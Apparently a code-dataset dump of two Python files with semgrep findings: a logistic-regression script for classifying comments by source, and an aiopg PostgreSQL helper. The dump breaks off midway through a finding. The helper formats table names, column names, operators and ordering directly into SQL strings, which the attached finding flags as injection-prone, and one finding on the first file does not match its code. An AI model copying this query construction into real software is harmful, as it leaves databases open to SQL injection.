"content_id": "d0d5a184847b173d893851552612ae552cd12e54",
"detected_licenses": [
"MIT"
],
"directory_id": "30890f9f7edc49e1b0a8c648022093abb5503e75",
"extension": "py",
"filename": "logistic_regression.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3033,
"license": "MIT",
"license_type": "permissive",
"path": "/logistic_regression.py",
"provenance": "stack-edu-0054.json.gz:571454",
"repo_name": "aljhn/TDT4173-Project",
"revision_date": 1606318090000,
"revision_id": "85db15e9139a6e56f9e89a61330a72c2a66e421a",
"snapshot_id": "345b2d5c48eb9e223ce677d4d7a29f5050410aee",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/aljhn/TDT4173-Project/85db15e9139a6e56f9e89a61330a72c2a66e421a/logistic_regression.py",
"visit_date": "2023-01-31T00:40:39.232098"
} | 3.140625 | stackv2 | import numpy as np
import pickle
from sklearn.utils import class_weight, shuffle
from sklearn.metrics import classification_report
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.linear_model import LogisticRegression
#import tensorflowjs as tfjs
# Seeding for reproducibility
np.random.seed(0)
# Update to the directory where you saved the
# preprocessed data
dataset_directory = "formated_data/"
# Reading data
reddit_file0 = open(dataset_directory + "reddit0.pickle", "rb")
reddit_data0 = pickle.load(reddit_file0)
reddit_file0.close()
reddit_file1 = open(dataset_directory + "reddit1.pickle", "rb")
reddit_data1 = pickle.load(reddit_file1)
reddit_file1.close()
reddit_file2 = open(dataset_directory + "reddit2.pickle", "rb")
reddit_data2 = pickle.load(reddit_file2)
reddit_file2.close()
reddit_file3 = open(dataset_directory + "reddit3.pickle", "rb")
reddit_data3 = pickle.load(reddit_file3)
reddit_file3.close()
reddit_data = reddit_data0 + reddit_data1 + reddit_data2 + reddit_data3 # Combine lists
hackernews_file = open(dataset_directory + "hacker_news.pickle", "rb")
hackernews_data = pickle.load(hackernews_file)
hackernews_file.close()
youtube_file = open(dataset_directory + "youtube.pickle", "rb")
youtube_data = pickle.load(youtube_file)
youtube_file.close()
reddit_samples = len(reddit_data)
hackernews_samples = len(hackernews_data)
youtube_samples = len(youtube_data)
samples = reddit_samples + hackernews_samples + youtube_samples
# Creating labels
reddit_labels = [0 for i in range(reddit_samples)]
hackernews_labels = [1 for i in range(hackernews_samples)]
youtube_labels = [2 for i in range(youtube_samples)]
# Concatinating data
data = reddit_data + hackernews_data + youtube_data
labels = reddit_labels + hackernews_labels + youtube_labels
# Shuffling data so that the distribution of train and test
# data are as similar as possible
data, labels = shuffle(data, labels, random_state=0)
# Splitting the data into train, validation and test.
x_train = data[0 : samples * 70 // 100]
x_val = data[samples * 70 // 100 : samples * 85 // 100]
x_test = data[samples * 85 // 100 :]
y_train = labels[0 : samples * 70 // 100]
y_val = labels[samples * 70 // 100 : samples * 85 // 100]
y_test = labels[samples * 85 // 100 :]
# Class weights so that smaller classes are given more weight per sample
class_weights = class_weight.compute_class_weight("balanced", [0, 1, 2], y=y_train)
class_weights = dict(enumerate(class_weights))
# Vectorize using the number of words of each type
bow_converter = CountVectorizer(tokenizer=lambda doc: doc)
x_train = bow_converter.fit_transform(x_train)
x_val = bow_converter.transform(x_val)
x_test = bow_converter.transform(x_test)
# Create model
model = LogisticRegression(class_weight=class_weights, max_iter=10000).fit(x_train, y_train)
# Print results
val_score = model.score(x_val, y_val)
print("Validation: [accuracy: " + str(val_score) + "]")
test_score = model.score(x_test, y_test)
print("Test: [accuracy: " + str(test_score) + "]") | 88 | 33.48 | 92 | 9 | 776 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a6cd7c648f8c6358_9dbc5cde", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a6cd7c648f8c6358.py", "start": {"line": 19, "col": 16, "offset": 521}, "end": {"line": 19, "col": 41, "offset": 546}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a6cd7c648f8c6358_aeebb708", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a6cd7c648f8c6358.py", "start": {"line": 22, "col": 16, "offset": 647}, "end": {"line": 22, "col": 41, "offset": 672}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a6cd7c648f8c6358_ca837e44", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 25, "line_end": 25, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a6cd7c648f8c6358.py", "start": {"line": 25, "col": 16, "offset": 773}, "end": {"line": 25, "col": 41, "offset": 798}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a6cd7c648f8c6358_8f783dfb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a6cd7c648f8c6358.py", "start": {"line": 28, "col": 16, "offset": 899}, "end": {"line": 28, "col": 41, "offset": 924}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a6cd7c648f8c6358_6ef1523c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 19, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a6cd7c648f8c6358.py", "start": {"line": 34, "col": 19, "offset": 1125}, "end": {"line": 34, "col": 47, "offset": 1153}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a6cd7c648f8c6358_d173a722", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a6cd7c648f8c6358.py", "start": {"line": 38, "col": 16, "offset": 1258}, "end": {"line": 38, "col": 41, "offset": 1283}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_a6cd7c648f8c6358_7a67628f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 74, "line_end": 74, "column_start": 55, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/a6cd7c648f8c6358.py", "start": {"line": 74, "col": 55, "offset": 2588}, "end": {"line": 74, "col": 58, "offset": 2591}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 7 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.pyth... | [
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
19,
22,
25,
28,
34,
38
] | [
19,
22,
25,
28,
34,
38
] | [
16,
16,
16,
16,
19,
16
] | [
41,
41,
41,
41,
47,
41
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5,
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | logistic_regression.py | /logistic_regression.py | aljhn/TDT4173-Project | MIT | |
2024-11-18T20:10:53.766614+00:00 | 1,450,256,045,000 | d2e40d2b1f23444d2659adb60a568de78f1933a5 | 2 | {
"blob_id": "d2e40d2b1f23444d2659adb60a568de78f1933a5",
"branch_name": "refs/heads/master",
"committer_date": 1450256045000,
"content_id": "e589311d36fce508d2facc1475030cfd5c44f20f",
"detected_licenses": [
"MIT"
],
"directory_id": "ce5dd008a85b5fc53f9a831e083f88e8efd31727",
"extension": "py",
"filename": "sql.py",
"fork_events_count": 2,
"gha_created_at": 1436855192000,
"gha_event_created_at": 1638426281000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 39057720,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13470,
"license": "MIT",
"license_type": "permissive",
"path": "/cauldron/sql.py",
"provenance": "stack-edu-0054.json.gz:571510",
"repo_name": "nerandell/cauldron",
"revision_date": 1450256045000,
"revision_id": "d363bac763781bb2da18debfa0fdd4be28288b92",
"snapshot_id": "5d3a829deb4c6f616763d4d4e67f461fc10d2db5",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/nerandell/cauldron/d363bac763781bb2da18debfa0fdd4be28288b92/cauldron/sql.py",
"visit_date": "2021-12-29T16:33:49.982878"
} | 2.375 | stackv2 | from asyncio import coroutine
from contextlib import contextmanager
from functools import wraps
from enum import Enum
import aiopg
from aiopg import create_pool, Pool, Cursor
import psycopg2
_CursorType = Enum('CursorType', 'PLAIN, DICT, NAMEDTUPLE')
def dict_cursor(func):
"""
Decorator that provides a dictionary cursor to the calling function
Adds the cursor as the second argument to the calling functions
Requires that the function being decorated is an instance of a class or object
that yields a cursor from a get_cursor(cursor_type=CursorType.DICT) coroutine or provides such an object
as the first argument in its signature
Yields:
A client-side dictionary cursor
"""
@wraps(func)
def wrapper(cls, *args, **kwargs):
with (yield from cls.get_cursor(_CursorType.DICT)) as c:
return (yield from func(cls, c, *args, **kwargs))
return wrapper
def cursor(func):
"""
Decorator that provides a cursor to the calling function
Adds the cursor as the second argument to the calling functions
Requires that the function being decorated is an instance of a class or object
that yields a cursor from a get_cursor() coroutine or provides such an object
as the first argument in its signature
Yields:
A client-side cursor
"""
@wraps(func)
def wrapper(cls, *args, **kwargs):
with (yield from cls.get_cursor()) as c:
return (yield from func(cls, c, *args, **kwargs))
return wrapper
def nt_cursor(func):
"""
Decorator that provides a namedtuple cursor to the calling function
Adds the cursor as the second argument to the calling functions
Requires that the function being decorated is an instance of a class or object
that yields a cursor from a get_cursor(cursor_type=CursorType.NAMEDTUPLE) coroutine or provides such an object
as the first argument in its signature
Yields:
A client-side namedtuple cursor
"""
@wraps(func)
def wrapper(cls, *args, **kwargs):
with (yield from cls.get_cursor(_CursorType.NAMEDTUPLE)) as c:
return (yield from func(cls, c, *args, **kwargs))
return wrapper
def transaction(func):
"""
Provides a transacted cursor which will run in autocommit=false mode
For any exception the transaction will be rolled back.
Requires that the function being decorated is an instance of a class or object
that yields a cursor from a get_cursor(cursor_type=CursorType.NAMEDTUPLE) coroutine or provides such an object
as the first argument in its signature
Yields:
A client-side transacted named cursor
"""
@wraps(func)
def wrapper(cls, *args, **kwargs):
with (yield from cls.get_cursor(_CursorType.NAMEDTUPLE)) as c:
try:
yield from c.execute('BEGIN')
result = (yield from func(cls, c, *args, **kwargs))
except Exception:
yield from c.execute('ROLLBACK')
else:
yield from c.execute('COMMIT')
return result
return wrapper
class PostgresStore:
_pool = None
_connection_params = {}
_use_pool = None
_insert_string = "insert into {} ({}) values ({}) returning *;"
_update_string = "update {} set ({}) = ({}) where ({}) returning *;"
_select_all_string_with_condition = "select * from {} where ({}) order by {} limit {} offset {};"
_select_all_string = "select * from {} order by {} limit {} offset {};"
_select_selective_column = "select {} from {} order by {} limit {} offset {};"
_select_selective_column_with_condition = "select {} from {} where ({}) order by {} limit {} offset {};"
_delete_query = "delete from {} where ({});"
_count_query = "select count(*) from {};"
_count_query_where = "select count(*) from {} where {};"
_OR = ' or '
_AND = ' and '
_LPAREN = '('
_RPAREN = ')'
_WHERE_AND = '{} {} %s'
_PLACEHOLDER = ' %s,'
_COMMA = ', '
@classmethod
def connect(cls, database: str, user: str, password: str, host: str, port: int, *, use_pool: bool=True,
enable_ssl: bool=False, minsize=1, maxsize=50, keepalives_idle=5, keepalives_interval=4, echo=False,
**kwargs):
"""
Sets connection parameters
For more information on the parameters that is accepts,
see : http://www.postgresql.org/docs/9.2/static/libpq-connect.html
"""
cls._connection_params['database'] = database
cls._connection_params['user'] = user
cls._connection_params['password'] = password
cls._connection_params['host'] = host
cls._connection_params['port'] = port
cls._connection_params['sslmode'] = 'prefer' if enable_ssl else 'disable'
cls._connection_params['minsize'] = minsize
cls._connection_params['maxsize'] = maxsize
cls._connection_params['keepalives_idle'] = keepalives_idle
cls._connection_params['keepalives_interval'] = keepalives_interval
cls._connection_params['echo'] = echo
cls._connection_params.update(kwargs)
cls._use_pool = use_pool
@classmethod
def use_pool(cls, pool: Pool):
"""
Sets an existing connection pool instead of using connect() to make one
"""
cls._pool = pool
@classmethod
@coroutine
def get_pool(cls) -> Pool:
"""
Yields:
existing db connection pool
"""
if len(cls._connection_params) < 5:
raise ConnectionError('Please call SQLStore.connect before calling this method')
if not cls._pool:
cls._pool = yield from create_pool(**cls._connection_params)
return cls._pool
@classmethod
@coroutine
def get_cursor(cls, cursor_type=_CursorType.PLAIN) -> Cursor:
"""
Yields:
new client-side cursor from existing db connection pool
"""
_cur = None
if cls._use_pool:
_connection_source = yield from cls.get_pool()
else:
_connection_source = yield from aiopg.connect(echo=False, **cls._connection_params)
if cursor_type == _CursorType.PLAIN:
_cur = yield from _connection_source.cursor()
if cursor_type == _CursorType.NAMEDTUPLE:
_cur = yield from _connection_source.cursor(cursor_factory=psycopg2.extras.NamedTupleCursor)
if cursor_type == _CursorType.DICT:
_cur = yield from _connection_source.cursor(cursor_factory=psycopg2.extras.DictCursor)
if not cls._use_pool:
_cur = cursor_context_manager(_connection_source, _cur)
return _cur
@classmethod
@coroutine
@cursor
def count(cls, cur, table:str, where_keys: list=None):
"""
gives the number of records in the table
Args:
table: a string indicating the name of the table
Returns:
an integer indicating the number of records in the table
"""
if where_keys:
where_clause, values = cls._get_where_clause_with_values(where_keys)
query = cls._count_query_where.format(table, where_clause)
q, t = query, values
else:
query = cls._count_query.format(table)
q, t = query, ()
yield from cur.execute(q, t)
result = yield from cur.fetchone()
return int(result[0])
@classmethod
@coroutine
@nt_cursor
def insert(cls, cur, table: str, values: dict):
"""
Creates an insert statement with only chosen fields
Args:
table: a string indicating the name of the table
values: a dict of fields and values to be inserted
Returns:
A 'Record' object with table columns as properties
"""
keys = cls._COMMA.join(values.keys())
value_place_holder = cls._PLACEHOLDER * len(values)
query = cls._insert_string.format(table, keys, value_place_holder[:-1])
yield from cur.execute(query, tuple(values.values()))
return (yield from cur.fetchone())
@classmethod
@coroutine
@nt_cursor
def update(cls, cur, table: str, values: dict, where_keys: list) -> tuple:
"""
Creates an update query with only chosen fields
Supports only a single field where clause
Args:
table: a string indicating the name of the table
values: a dict of fields and values to be inserted
where_keys: list of dictionary
example of where keys: [{'name':('>', 'cip'),'url':('=', 'cip.com'},{'type':{'<=', 'manufacturer'}}]
where_clause will look like ((name>%s and url=%s) or (type <= %s))
items within each dictionary get 'AND'-ed and dictionaries themselves get 'OR'-ed
Returns:
an integer indicating count of rows deleted
"""
keys = cls._COMMA.join(values.keys())
value_place_holder = cls._PLACEHOLDER * len(values)
where_clause, where_values = cls._get_where_clause_with_values(where_keys)
query = cls._update_string.format(table, keys, value_place_holder[:-1], where_clause)
yield from cur.execute(query, (tuple(values.values()) + where_values))
return (yield from cur.fetchall())
@classmethod
def _get_where_clause_with_values(cls, where_keys):
values = []
def make_and_query(ele: dict):
and_query = cls._AND.join([cls._WHERE_AND.format(e[0], e[1][0]) for e in ele.items()])
values.extend([val[1] for val in ele.values()])
return cls._LPAREN + and_query + cls._RPAREN
return cls._OR.join(map(make_and_query, where_keys)), tuple(values)
@classmethod
@coroutine
@cursor
def delete(cls, cur, table: str, where_keys: list):
"""
Creates a delete query with where keys
Supports multiple where clause with and or or both
Args:
table: a string indicating the name of the table
where_keys: list of dictionary
example of where keys: [{'name':('>', 'cip'),'url':('=', 'cip.com'},{'type':{'<=', 'manufacturer'}}]
where_clause will look like ((name>%s and url=%s) or (type <= %s))
items within each dictionary get 'AND'-ed and dictionaries themselves get 'OR'-ed
Returns:
an integer indicating count of rows deleted
"""
where_clause, values = cls._get_where_clause_with_values(where_keys)
query = cls._delete_query.format(table, where_clause)
yield from cur.execute(query, values)
return cur.rowcount
@classmethod
@coroutine
@nt_cursor
def select(cls, cur, table: str, order_by: str, columns: list=None, where_keys: list=None, limit=100,
offset=0):
"""
Creates a select query for selective columns with where keys
Supports multiple where claus with and or or both
Args:
table: a string indicating the name of the table
order_by: a string indicating column name to order the results on
columns: list of columns to select from
where_keys: list of dictionary
limit: the limit on the number of results
offset: offset on the results
example of where keys: [{'name':('>', 'cip'),'url':('=', 'cip.com'},{'type':{'<=', 'manufacturer'}}]
where_clause will look like ((name>%s and url=%s) or (type <= %s))
items within each dictionary get 'AND'-ed and across dictionaries get 'OR'-ed
Returns:
A list of 'Record' object with table columns as properties
"""
if columns:
columns_string = cls._COMMA.join(columns)
if where_keys:
where_clause, values = cls._get_where_clause_with_values(where_keys)
query = cls._select_selective_column_with_condition.format(columns_string, table, where_clause,
order_by, limit, offset)
q, t = query, values
else:
query = cls._select_selective_column.format(columns_string, table, order_by, limit, offset)
q, t = query, ()
else:
if where_keys:
where_clause, values = cls._get_where_clause_with_values(where_keys)
query = cls._select_all_string_with_condition.format(table, where_clause, order_by, limit, offset)
q, t = query, values
else:
query = cls._select_all_string.format(table, order_by, limit, offset)
q, t = query, ()
yield from cur.execute(q, t)
return (yield from cur.fetchall())
@classmethod
@coroutine
@nt_cursor
def raw_sql(cls, cur, query: str, values: tuple):
"""
Run a raw sql query
Args:
query : query string to execute
values : tuple of values to be used with the query
Returns:
result of query as list of named tuple
"""
yield from cur.execute(query, values)
return (yield from cur.fetchall())
@contextmanager
def cursor_context_manager(conn, cur):
try:
yield cur
finally:
cur._impl.close()
conn.close()
| 378 | 34.63 | 116 | 18 | 3,008 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_1c96c529d83eb849_28f61602", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 241, "line_end": 241, "column_start": 20, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/1c96c529d83eb849.py", "start": {"line": 241, "col": 20, "offset": 8110}, "end": {"line": 241, "col": 62, "offset": 8152}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", 